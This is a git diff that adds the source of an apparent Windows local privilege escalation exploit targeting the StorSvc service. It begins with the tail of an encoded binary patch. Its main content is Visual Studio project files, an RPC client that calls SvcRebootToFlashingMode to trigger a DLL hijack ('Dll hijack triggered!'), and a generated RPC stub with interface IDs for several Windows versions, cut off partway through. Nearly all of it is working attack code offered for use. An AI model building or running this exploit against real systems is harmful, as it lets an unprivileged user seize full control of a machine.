zjpu2s&{(7KI*qq$Jfg8*;{zI>()e?Ysmkof=^9HlZq-a0HQulB5slAi{Hewh8q?+5OgM5i zo}#ft<3$>)HQu1HO=DE!{Td(F7}xl^Mu(1ze2u4TEY)Zj!M|5@Og^hIX2qzE19={o zd>pWq2lif2TVGvUfA!X2!~PwiAe=7P#XM-|`i#O&4f_KPjef2zp1!s<=$Dev3~heD zQeEoO>foljT7P|LQ&nBvSv>*Q9KF zL&Ha!0$ZEv_l9a4>bKN~f_#nPq+Hoq8w@p7)m>iyQHBG|`QqI_=Hcw^ge%l1eLTg8r&% z3Y9GdOLkn_81nD0sNL`1*hmNb!l@fmw$;~$YOCsMuk-KNUfUQdql&r-Iit*5{d0qjiD{UU<3Zz zCH_h}-)O_}{@|t{ChV=M+u=6`L#d}zw)?9N_}^5%+_u?Y=MTN+n?^z|g)ZP?K2$)W}+Te|jtA5+oDPIi=Kjo_-Ih*p;fSegsI+bK@RnTu{Gd4b! zvVGGfRe`DVJz}L1d)Eg1>eIHZWZ0%Ua$VhK@LOwxjmCAu`Y#z}my)tlWtZwADjA>J z>P_O_s;m9#Vd>4rO{^*gMDqu?Tq69FMjyQrq{@+cNmE^@_JV6e{)&cOwblMjHB~|N zo^*??XqdXLE*2eI>JQWg8|wFye5Tor^y2{|3g)`>0g33O3p=ZVwN-n>+Mrz75tm1cjn#k&(&zw7ro{x;ZN6R)tB#!b^Hlx#IJH#Rl_PXlegfe z4(nR{fVrQ*@`HsUn9NUAJPDJ($nJS7`M>q`*=GCl=eE~(t?7^Wb$Xvg!`%BVX6u`M zKAdCfcWJ*Qy^NSG`WHGkKM6F~f3pGCNsqsf0e@pPReSbU`}bX4Q~TkM)a|ct2wcO> ztLeZ;o3FjjG;HGqn>KIRdSThNi!R=N$)z9kURJ)N;_{ulD*wrN|NL)k{9m#8xgx?W zGaEf=Sh)U*M*Zzn|DA`4e9AA`d0i>2HEz20rd7JIhiA8Pw0E0$<2`ZNCZRkxgbj=$ z|IN;4I$h@FH~qiy4`z`^<5&Mk`HfosYsi1Ucx(Uj@>8Me?z-b#m zpK+a{NbeogK62Mp0_7YH|N(s7eAqo6I$;Ht@oYcdMp?EL()C> zO`Z8WEU>-JVV`xR=)>x&_(KkBZ6MgxW?g09*poBwuj|j>xN}cc^;LfB#l5F7RPFK1 zDK}e2w9ch3!~*}ST3&yk=O4#k*8@(cQhOoUXBGgrv0v(O_%Qe-C;=YjU=Fkz-UY6L zir}vRKL&~Z>%luU-v;hlt<>qrRD$zbbg&sbyH?*?ypH)BKHF!*gq z`ZWqJSZng~ea$;HUkUa>(%*hCyU1+U306UE=&1(3uFFTjpFpDX1+eTrro3Rzdx;0+ z^S~Xvb`}3ufV)oT`Hu7jJOoMI!{E!1;b-u7kl|-=0sBjYcY;Nb$P3E86X69PfexZG z4kn;cc)5Wzm9Vb}z8Sm+GW-TU3Q65@aM9UjyM^FQkdz-3{v7h|7x3WbQpLkzn}Lhp zPhP<1gU_8yf8pccug~W@u;C}cvo{iZ)GY-YHt}8xyu3%!4~c$xALI|3&)bauA?bT1 zc)?coG9$kk{4Qk3gFDN3UMqeBUx8L5lK`LFMoh!U!J3QA@?kImg|SCntkip<7I-(f z6KaL`fxS>0d=xx;JNrc8OTjB4Y1aqxWdrIy$^}T4F_7Ol`Yz4(5-pF{gAZV4321CaM8`C zd=Yr1=6&ET&@ei01%C!f-JgRO++xc6z~`VbWafWHsRNM2STp!AB=IA-@;2rxWQxFV zLC4`A2Jg7t9P7j2y^zH7ec-J{NqA z*M*a`bsT)O$MnhL;Hsz@d#k|%eat!3Z3b^YiZ1w8uxWr;q;4}2;3Id=&@ z0?9bW!PkAUYqWXgEJ1rKBAuaN<7gN`86 z3Ko6av{P{5cjU*1kO4pOC@}*c21_5KU+{u$kk}@8pXLRx`5t>ZkQoC%{%^!2ZH2+Y z@0;-{_=zV>+rnVOljhhpgE2^a@+`RMDU)}Db($B<`GKh?53GjV=og&-H0vAqE5IfH zVcwVX!P_9QvmgB0IJ%G-0ayR0IbMQ0A!988`ko=5kvR;mdzM^-e*i50k=gDQ;2}uH z`T?-|c~igO6Hq_$Pl4}`n>sgu{|-rRJ_RNqvF8NX`eSok1fPb)hB#R86SMDypcfiL zr{JB?>96B+@DWJn{0VU1i|9qB26Vopj5%EJX2^&9t)Tm5bioUbLNY%H?wBC{DX#!u zgl>hO0E53k4|}dc;DJ}D58n*_>#HVz7)*T)oskq%f4$1|${hoOWemi(;Ht`5AxM%_Tm_PHtB1ru9IJj^jaV_x)-s|MPf&6{o z(Hv}HZ&p9plgqshJ_@c{#C${D)!@sJ=$rui^GseaYq6<6c~6(@^U$o9|vEB#LfhG{tA=#fbLVU7oT4beiag#5wLhAePP^7z+=z|diufr zE}I&L4}j;cGVQzqyovo?&r*I6T=y>Sb==q7;A4=C=~Ljs)!Z|GOM74=Bz+Hohcz!4 z*Sw&6jVYtvjSZ*aH|manpFf>78aj`I>(=8x%46W&ZtR6W0?s?rwBH3j2g$lU4i*=i zV^jiqA?dH+g0n!e4ZHyo+giY_?<0>XF9QdlR`_A?!{?ZNuLJKWCHAEpbiE%N;RQXA z+}{PChGM_P|DgH+^ANlTyc!yZuK}CR#YXsMum=*`qTsh7v1b(Ad>%Y9f_sIhyc%qR zM1BlhaXzp6e@B17k3k|M``PY>MCJ(i8_0urqj=Y>Q@P(CXp<$|)0U3fv+2P?dwd=^1?LHP`U@Pe{uUU)&-+b+DI>=PDVQ1%`R zFDUz)g%^~4zQPO2o?hVvWsk1#g0inxctP0(Hm6!%!D=A9N6U0BVEApcvE&MWA6Q42?s{$NKfGKhNN`6L=4_ z4E_x;0R^CJ&VK+t0(qhTf`*|M$PK;j=5`GI7K=ql(kXcKfcv=%CW{&CFq0QWMApzzEq=4Xv?{hP`&Qdt`z zET7%|IMd_oW5fB)`|Df>*o(u)zjN1~x!%3j<(C~^>|#83?d26)*OjhyHHO$>RaMte z?>~3#wf@Gn=bx9IxuL4D(Z7FB-L)-N{~4K_43>v97VMcvqrJbvwIV-R^Erx3}BZ9q0~sw{}Om zhr46lW8LxYM7Qd3_PBc7J)RzKkFO`t6Ygp4iS!Kj#Cpbh;ysBT)$8na^}2gKz2075 zZ=g5a+u9rH9qx_wj`hZS6TK?xjJl%ks3+=;`l5koINBPGM2DlX=vXu!O+;0nv(MG% z?(_6{`+R+YzHnb_U!-riFV;8K7w=2-siV%LuA}awo}=EQzN5;=dJrEKwY%F(+Z~>8^zucEFSNf=$XV~2R7&Twnp2qB#JE~STl+}<5)C- zO_NyVz^;5Oa}5>^x(7=KJ%eR~-oeU2-(byPV6b^GJlHbWI@mU-h8#oAq5L7&P|=Wk zsC39PR5s)tsvPnS)eHrOnuo$eEkmtCZ9|cv=+N-c$WUx(bZBg7d?-FNF_ajZ9HKJ; z23PVj;)pmS`4Ly7DB_NkMm&+Sh&SSk)ISsiA6>uW0CPl zJTehUL?$Du-O=uB&u@3No4)b1m$iG_E8BhTHSK}+=Js%VOM7d3TYIEE+CJPq(jM+^ zVWiu-CyzP$^ZSeXOZ&_EEBkBuoBLb(+xnyZBmJZOi|BV*q>?^2)897wIzm6k>EmR?LGOwf^)h-@LyubM zO_ZLDwvV?@v`@A>I`TV;I!ZgrIx0JAI+{CL$QH?!QF3L1JaG^!MMO(kXJuziXLDyu zXIp2qbEI>$bG&n+bF$OXmETp=RoYe7RoPY3)!fz6)z%g58tEGC8tLj2r;G@!F`}=H$Q$Vy)p6$_=8Aet zd&_z&duw`|ds}+jdZWD~y`#P3y%W8Yy^d&pv?y8{EsIu0Yog837UDBXY>pC_6U3y0 zcr5BG?JMi6?5pW(?rZ65>x=e{^o{n7_f7Oo_BoE`A1yjc9JR7O$DjXiWNhGQ_-O0V z$kE}Wv7=*0<3|%m)iLKW*D?1o&oS>Y-?6~4@Uhlokz>QhV#mgg#g8S9seWg_tKZ%4 z>G$^g`UCyp{?`6T|8Re-f2=>=pXgTu&H>ked%!c`9quz zHXqq#&QJ0^C-U~wF!`NNZda1mQ9L+`4`ufEktqRkB}}%o>iK+R)@<%RT1gB_V}GB= F{{`O!pCbSO literal 0 HcmV?d00001 diff --git a/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient.sln b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient.sln new file mode 100644 index 0000000..eb8f627 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient.sln @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32413.511 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RpcClient", "RpcClient\RpcClient.vcxproj", "{7087F80C-0E20-4E81-909B-17FA23AF618D}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {7087F80C-0E20-4E81-909B-17FA23AF618D}.Debug|x64.ActiveCfg = Debug|x64 + {7087F80C-0E20-4E81-909B-17FA23AF618D}.Debug|x64.Build.0 = Debug|x64 + {7087F80C-0E20-4E81-909B-17FA23AF618D}.Debug|x86.ActiveCfg = Debug|Win32 + {7087F80C-0E20-4E81-909B-17FA23AF618D}.Debug|x86.Build.0 = Debug|Win32 + {7087F80C-0E20-4E81-909B-17FA23AF618D}.Release|x64.ActiveCfg = Release|x64 + {7087F80C-0E20-4E81-909B-17FA23AF618D}.Release|x64.Build.0 = Release|x64 + {7087F80C-0E20-4E81-909B-17FA23AF618D}.Release|x86.ActiveCfg = Release|Win32 + {7087F80C-0E20-4E81-909B-17FA23AF618D}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {9C8B97E6-8876-43C8-B59D-50D011AE98C5} + EndGlobalSection +EndGlobal diff --git a/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.cpp b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.cpp new file mode 100644 index 0000000..e524d42 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.cpp @@ -0,0 +1,56 @@ +#include "storsvc_h.h" +#include +#include + +#pragma comment(lib, "RpcRT4.lib") + +int wmain(int argc, wchar_t* argv[]) +{ + RPC_STATUS status; + RPC_WSTR StringBinding; + RPC_BINDING_HANDLE Binding; + + status = RpcStringBindingCompose( + NULL, + (RPC_WSTR)L"ncalrpc", + (RPC_WSTR)L"", + (RPC_WSTR)L"", + NULL, + &StringBinding + ); + + status = RpcBindingFromStringBinding( + StringBinding, + &Binding + ); + + status = RpcStringFree( + &StringBinding + ); + + RpcTryExcept + { + long result = Proc6_SvcRebootToFlashingMode(Binding, 0, 0); + if (result == 0) + wprintf(L"[+] Dll hijack triggered!"); + else + wprintf(L"[!] Manual reboot of StorSvc service is required."); + } + RpcExcept(EXCEPTION_EXECUTE_HANDLER); + { + wprintf(L"Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode()); + } + RpcEndExcept + + status = RpcBindingFree(&Binding); +} + +void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) +{ + return((void __RPC_FAR*) malloc(cBytes)); +} + +void __RPC_USER midl_user_free(void __RPC_FAR* p) +{ + free(p); +} diff --git a/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj new file mode 100644 index 0000000..3a19948 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj @@ -0,0 +1,153 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {7087f80c-0e20-4e81-909b-17fa23af618d} + RpcClient + 10.0 + + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + Application + true + v143 + Unicode + + + Application + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + false + + + + + + + + + + + + + \ No newline at end of file diff --git a/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj.filters b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj.filters new file mode 100644 index 0000000..fb1cf5c --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj.filters @@ -0,0 +1,30 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj.user b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj.user new file mode 100644 index 0000000..824d5a9 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/RpcClient.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/storsvc_c.c b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/storsvc_c.c new file mode 100644 index 0000000..e081623 --- /dev/null +++ b/Windows/Universal/LPE via StorSvc/RpcClient/RpcClient/storsvc_c.c @@ -0,0 +1,3359 @@ +#if defined(_M_AMD64) + +#define WIN10 +//#define WIN11 +//#define WIN2019 +//#define WIN2022 + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif + +#pragma warning( disable: 4211 ) +#pragma warning( disable: 4232 ) +#pragma warning( disable: 4024 ) + +#include +#include "storsvc_h.h" + +#define TYPE_FORMAT_STRING_SIZE 205 +#define PROC_FORMAT_STRING_SIZE 1195 +#define EXPR_FORMAT_STRING_SIZE 1 +#define TRANSMIT_AS_TABLE_SIZE 0 +#define WIRE_MARSHAL_TABLE_SIZE 0 + +typedef struct _storsvc_MIDL_TYPE_FORMAT_STRING + { + short Pad; + unsigned char Format[ TYPE_FORMAT_STRING_SIZE ]; + } storsvc_MIDL_TYPE_FORMAT_STRING; + +typedef struct _storsvc_MIDL_PROC_FORMAT_STRING + { + short Pad; + unsigned char Format[ PROC_FORMAT_STRING_SIZE ]; + } storsvc_MIDL_PROC_FORMAT_STRING; + +typedef struct _storsvc_MIDL_EXPR_FORMAT_STRING + { + long Pad; + unsigned char Format[ EXPR_FORMAT_STRING_SIZE ]; + } storsvc_MIDL_EXPR_FORMAT_STRING; + + +static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax = +{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}; + +static const RPC_SYNTAX_IDENTIFIER _NDR64_RpcTransferSyntax = +{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}; + + +extern const storsvc_MIDL_TYPE_FORMAT_STRING storsvc__MIDL_TypeFormatString; +extern const storsvc_MIDL_PROC_FORMAT_STRING storsvc__MIDL_ProcFormatString; +extern const storsvc_MIDL_EXPR_FORMAT_STRING storsvc__MIDL_ExprFormatString; + +#define GENERIC_BINDING_TABLE_SIZE 0 + + extern const MIDL_STUBLESS_PROXY_INFO DefaultIfName_ProxyInfo; + + +static const RPC_CLIENT_INTERFACE DefaultIfName___RpcClientInterface = + { + sizeof(RPC_CLIENT_INTERFACE), + #if defined(WIN10) + {{0xbe6293d3,0x2827,0x4dda,{0x80,0x57,0x85,0x88,0x24,0x01,0x24,0xc9}},{0,0}}, + #endif + #if defined(WIN11) + {{0xec029036,0x297f,0x4f3a,{0xa1,0x69,0x7a,0x2f,0xef,0xa5,0xcc,0x3e}},{0,0}}, + #endif + #if defined(WIN2019) + {{0xbe7f785e,0x0e3a,0x4ab7,{0x91,0xde,0x7e,0x46,0xe4,0x43,0xbe,0x29}},{0,0}}, + #endif + #if defined(WIN2022) + {{0xd8140e00,0x5c46,0x4ae6,{0x80,0xac,0x2f,0x9a,0x76,0xdf,0x22,0x4c}},{0,0}}, + #endif + {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, + 0, + 0, + 0, + 0, + &DefaultIfName_ProxyInfo, + 0x02000000 + }; +RPC_IF_HANDLE DefaultIfName_v0_0_c_ifspec = (RPC_IF_HANDLE)& DefaultIfName___RpcClientInterface; + +extern const MIDL_STUB_DESC DefaultIfName_StubDesc; + +static RPC_BINDING_HANDLE DefaultIfName__MIDL_AutoBindHandle; + + +long Proc0_SvcMountVolume( handle_t IDL_handle, short arg_1, long arg_2, long arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 0, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc1_SvcDismountVolume( handle_t IDL_handle, short arg_1, long arg_2, long arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 1, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc2_SvcFormatVolume( handle_t IDL_handle, short arg_1, long arg_2, long arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 2, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc3_SvcGetStorageInstanceCount( handle_t IDL_handle, short arg_1, long *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 3, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc4_SvcGetStorageDeviceInfo( handle_t IDL_handle, short arg_1, long arg_2, struct Struct_34_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 4, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc5_CCleanupPolicy__CleanupItem( handle_t IDL_handle, short arg_1, short arg_2, long arg_3, struct Struct_76_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 5, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc6_SvcRebootToFlashingMode( handle_t IDL_handle, long arg_1, long arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 6, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc7_SvcRebootToUosFlashing( handle_t IDL_handle, long arg_1, long arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 7, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc8_SvcFinalizeVolume( handle_t IDL_handle, short arg_1, long arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 8, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc9_SvcGetStorageSettings( handle_t IDL_handle, short arg_1, long arg_2, short arg_3, long *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 9, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc10_SvcResetStoragePolicySettings( handle_t IDL_handle) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 10, + 0, + IDL_handle); + return ( long )_RetVal.Simple; + +} + + +long Proc11_SvcSetStorageSettings( handle_t IDL_handle, short arg_1, long arg_2, short arg_3, long arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 11, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc12_SvcTriggerStorageCleanup( handle_t IDL_handle, struct Struct_90_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 12, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc13_SvcTriggerLowStorageNotification( handle_t IDL_handle, short arg_1, long arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 13, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +__int3264 Proc14_SvcMoveFileInheritSecurity( handle_t IDL_handle, wchar_t *arg_1, wchar_t *arg_2, long arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 14, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( __int3264 )_RetVal.Simple; + +} + + +long Proc15_SvcScanVolume( handle_t IDL_handle, short arg_1, long arg_2, struct Struct_112_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 15, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc16_SvcProcessStorageCardChange( handle_t IDL_handle) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 16, + 0, + IDL_handle); + return ( long )_RetVal.Simple; + +} + + +long Proc17_SvcProvisionForAppInstall( handle_t IDL_handle, short arg_1, long arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 17, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc18_SvcGetStorageInstanceCountForMaps( handle_t IDL_handle, short arg_1, long *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 18, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc19_SvcGetStoragePolicySettings( handle_t IDL_handle, short arg_1, wchar_t *arg_2, long *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 19, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc20_SvcSetStoragePolicySettings( handle_t IDL_handle, short arg_1, wchar_t *arg_2, long arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 20, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc21_SvcTriggerStoragePolicies( handle_t IDL_handle, struct Struct_134_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 21, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc22_SvcPredictStorageHealth( handle_t IDL_handle, struct Struct_164_t **arg_1, long *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 22, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc23_SvcGetLastFailedSaveLocationPath( handle_t IDL_handle, wchar_t **arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 23, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +#if !defined(__RPC_WIN64__) +#error Invalid build platform for this stub. +#endif + +static const storsvc_MIDL_PROC_FORMAT_STRING storsvc__MIDL_ProcFormatString = + { + 0, + { + + 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x28 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x16 ), NdrFcShort( 0x8 ), 0x44, + 0x4, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x18 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x20 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x1 ), NdrFcShort( 0x28 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x16 ), NdrFcShort( 0x8 ), 0x44, + 0x4, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x18 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x20 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x2 ), NdrFcShort( 0x28 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x16 ), NdrFcShort( 0x8 ), 0x44, + 0x4, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x48 ), NdrFcShort( 0x18 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x20 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x3 ), NdrFcShort( 0x20 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x6 ), NdrFcShort( 0x24 ), 0x44, + 0x3, 0xa, + 0x1, NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x0 ), NdrFcShort( 0x48 ), NdrFcShort( 0x8 ), 0x6, + 0x0, NdrFcShort( 0x2150 ), NdrFcShort( 0x10 ), 0x8, + 0x0, NdrFcShort( 0x70 ), NdrFcShort( 0x18 ), 0x8, + 0x0, 0x0, + 0x48, NdrFcLong( 0x0 ), NdrFcShort( 0x4 ), NdrFcShort( 0x28 ), 0x32, + 0x0, NdrFcShort( 0x0 ), NdrFcShort( 0x4ba ), NdrFcShort( 0x4b4 ), 